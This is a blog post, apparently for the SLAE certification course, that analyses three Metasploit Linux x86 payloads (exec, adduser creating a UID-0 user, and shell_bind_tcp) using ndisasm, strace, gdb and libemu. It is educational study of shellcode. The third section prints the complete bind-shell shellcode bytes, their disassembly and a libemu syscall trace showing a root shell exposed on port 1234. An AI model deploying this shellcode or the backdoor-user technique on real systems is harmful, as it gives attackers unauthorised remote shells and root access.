Tuesday 6 September 2016

SLAE Assignment - 5 - Analyzing metasploit shellcodes

SLAE Assignment - 5 - Analyzing metasploit shellcodes 

 

Objective:

 

The objective of the task is to analyze 3 existing shellcodes from metasploit. For the analysis we can use various tools like libemu, ndisasm , gdb and strace . 

Lets list the payloads that are available for our target OS and architecture . 


I am choosing the first 3 shellcodes for the analysis .

Shellcode 1 : linux/x86/exec 

 Lets see the summary and description of the selected shellcode . 


As you can see from the above picture the only option that needs to be set is the command that needs to be executed .

Lets get the raw shellcode .


Lets do a quick analysis on ndisasm . 


Hmm , ndisasm have given us the assembly instructions , however its not that clear , from the above picture we can assume the following . 

The system call number is 11 ( execve ) . we can see some strings pushed on the stack .once we do the hex to ascii conversion we can see that they are , 



So execve /bin/sh is called , however we cannot see the parameter we have given 'id'

Lets move on to strace . 

First we need to create the binary and try executing the same . 



So the shellcode works and the id command is executed . lets now use strace to analyze the same . 

Lets reduce the noise and use the -e switch to see the execve system call only . 


So we can see that ndisasm was right and the execve system call is used and the we can clearly see the arguments also . We can see our id command also . So from this we are clear that execve is used to call to execute id through /bin/sh . 
Lets check the man page of execve and see the what are those arguments . 


So /bin/sh is the filename and -C is the first argument and id is the second argument .


Libemu is another tool which can be handy during the analysis and lets have a look at it . 




Cool , so libemu have given an even clearer idea on the execution of the shellcode . We can see that /bin/sh is called to execute our command "id" .

Lets now try to use GDB for the analysis . 



From the GDB analysis we can see that eax = 11 , ebx = memory address which holds /bin/sh and esp currently holds our command "id" .

So we can see that our analysis from previous tools holds good .

Shellcode 2 : linux/x86/adduser

As usual lets see the summary and the details of the selected shellcode. 


So the shellcode creates a new user with UID 0 . Lets extract the shellcode 


lets include the shellcode in the tester c code and execute the same .


Now lets see the /etc/passwd file to look for the created new user .



As you can clearly see from the above picture a new user was created with the name a1 with UID as 0.

Now lets move on to the analysis of the shellcode .

Lets use GDB this time and do a step by step analysis on important areas.

Lets load the binary in GDB .


lets set the breakpoint on the call instruction





we can see the first 2 system calls called setresuid and open . Open is used to open a file . lets see what it is  .


So that is /etc/passwd which is been opened , possibly to add our user .

Lets step through the next instructions and  see where our add user line is used .


So we can see that the user 'a1' also from the analysis . So write system call is used to write to the end of /etc/passwd file. and finally the exit call is called .

lets now use strace and execute the binary .


The strace clearly shows all the system calls .

setresuid , open write and exit .

Shellcode 3 : linux/x86/shell_bind_tcp 

Lets see the payload options as usual . 


As shown in the description the shellcode spawns a bind shell upon connecting to the port . 

Lets use ndisasm to have a quick check . 






Its not very clear with ndisasm since there are many system call used and the length of the assembly code is long .
.



root@dink0ism:/home/rtv/Exercise5/3# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" |ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  68020004D2        push dword 0xd2040002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80
Lets try libemu and see if we can get more information
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 53764 (port=1234);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 =>
         none;
     int addrlen = 0x00000010 =>
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 =>
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa =>
               = 0x00416fb2 =>
                   = "/bin//sh";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;


Libemu gives more details and even with all the system calls used and its very clear . There is even an option which shows the step by step execution of the shellcode . lets try that . lets also convert the output dot file generated to png .



Now lets open the output file .



The above screenshot is the first half of the full png file .

We can see the system calls called , We can see the socket system call used to create the socket and then used bind and listen on the created socket .lets see the next part. Socket is used to create a TCP socket and bind an ip (127.0.0.1)and port (1234)to it . possibly the ip and port that we gave .




 we can see the accept and dup2 system calls followed . Accept will listen for incoming connections and dup2 is used to duplicate stdin , stdout and stderr to  the socket . Finally execve is called to execute /bin/sh . So now anyone connecting on the ip and port ( 1234 ) will get  /bin/sh interpreter.

Lets now compile the shellcode and execute the same .


As its clear from the above picture the shellcode worked perfectly and we were able to connect to the listening port.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE – 739

All the files used can found here https://github.com/rtv7/SLAE

No comments:

Post a Comment